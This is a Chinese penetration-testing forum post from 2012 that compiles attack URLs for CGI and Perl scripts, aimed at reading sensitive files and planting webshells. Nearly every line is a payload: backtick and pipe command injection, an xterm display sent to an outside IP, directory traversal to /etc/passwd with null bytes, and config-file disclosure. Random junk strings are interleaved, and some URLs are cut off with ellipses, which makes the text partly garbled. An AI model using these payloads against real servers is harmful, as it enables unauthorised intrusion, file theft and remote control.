中国网络渗透测试联盟
标题:
CGI资料整理
[打印本页]
作者:
admin
时间:
2012-9-13 16:56
标题:
CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
# y) X; m3 Y& H; k) T) i
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
3 A4 p5 |- R$ O8 O% n
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
8 s$ b/ c8 p; ]: X
注“
! y+ \* T; ^- u3 j$ F2 N. P, x3 D
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
8 R* I9 H+ r$ t) ~
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
" g3 ]6 k! }& C: ]8 D S
7 r8 O" e0 |, Q: j% R U' s
http://target.com/cgi-bin/home/news/sub.pl?12
随意构造
- r7 Y3 H, J: g
http://target.com/cgi-bin/home/news/sub.pl?&
换个字符,也许可以执行呢
* J) @6 g& K# U" F1 Q
http://target.com/cgi-bin/home/news/sub.pl?`ls`
单引号
! r0 d7 G" S/ n2 f/ Y
http://target.com/cgi-bin/home/news/sub.pl?`id`
3 K2 ?, V& X( T. j7 u9 z8 H3 W. [
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
9 v( ?! Z: t0 y6 U( R
http://target.com/cgi-bin/home/news/sub.pl?`cat
<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
. v& z# m( i5 i E. [
0 t1 Y. H- ~% w: X% O8 @* Z
http://target.com/test.pl;ls
|
# A* i! A$ b$ A
http://target.com/index.cgi?page=
|ls+-la+/%0aid%0awhich+xterm|
( {, c* T1 h9 I( ?; i2 z% U
http://target.com/index.cgi?page=
|xterm+-isplay+10.0.1.21:0.0+%26|
8 g$ |+ a+ i8 R* E
http://target.com/test.pl?
’id’ 类似’’内的操作和命令执行自己构造
+ K+ H% u2 `( I; |/ M
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
9 E6 \, t& w9 x1 n0 G0 ~8 Z
http://target.com/index.cgi?page=;dir+c:
\|&cid=03417 类似asp的Sql injection
4 q: Y/ P. s0 T* O C
/ U8 f* H5 C% B5 O8 v V
http://target.com/test.pl?&........
/../../etc/passwd
( C7 V0 R4 Q$ \9 M$ t: A
# r( M& [6 L, E+ H* p3 i
http://www.target.org/cgi-bin/cl
... info.pl?user=./test 前面加./
- V( p/ i9 G: Y+ b( S" I
http://www.target.org/cgi-bin/cl
... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
3 l6 g* v7 L& h8 ^. k
http://www.target.org/cgi-bin/cl
... ../../etc/passwd%00
7 L& N! L+ C0 p; G$ g+ U: K
# {% A7 E) [) F" x( s" |
http://www.target.org/show.php?f
... /include/config.php 查看php代码
2 Q* Q3 x" [# u4 _! p+ A* M
http://www.target.org/show.php?f
... ng/admin/global.php
% s3 |( p) H' g' l6 W
# u' _. z% C/ V! R& n
emm和ps的一句话
! a# d1 y6 i/ O9 ~
4 N) ^1 G! D8 ?0 ? b' H6 ?) L$ n
http://www.target.org/cgi-bin/cl
... /../../../bin/ls%20
' {- I0 c) ] r' T# `7 k$ i# p7 c/ x
2 B8 {, M/ w3 T! t5 U& z
>bbb%20|
3 x- q: m- }7 f* k B0 D
0 b U& D. G! B4 ~: o2 ]4 A
http://www.target.org/cgi-bin/club/scripts
\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
9 W: @7 U: K y$ Q/ u4 ^# ]
& A) c% E, @6 t/ e: E9 O/ D& p
http://www.target.org/cgi-bin/cl
... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
8 Z9 b+ d. w& t5 V7 M* E
http://www.target.org/csapi/..%c0%afhttp/china.sh
”+.elf?”+&+ls+/bin
* M! g/ C, T/ C$ M8 ^
& q/ E8 q: T9 a
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
7 q5 k0 ?$ j3 S6 v- G
http://target.com/index.html#cmd.exe
; _0 x2 {% a+ V1 o* L; s4 O
http://target.com/index.html?dummyparam=xp_cmdshell
' }) J: \7 }) P) X9 J' e
lynx
http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
7 ~& |6 e1 u9 F7 R( d, d
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2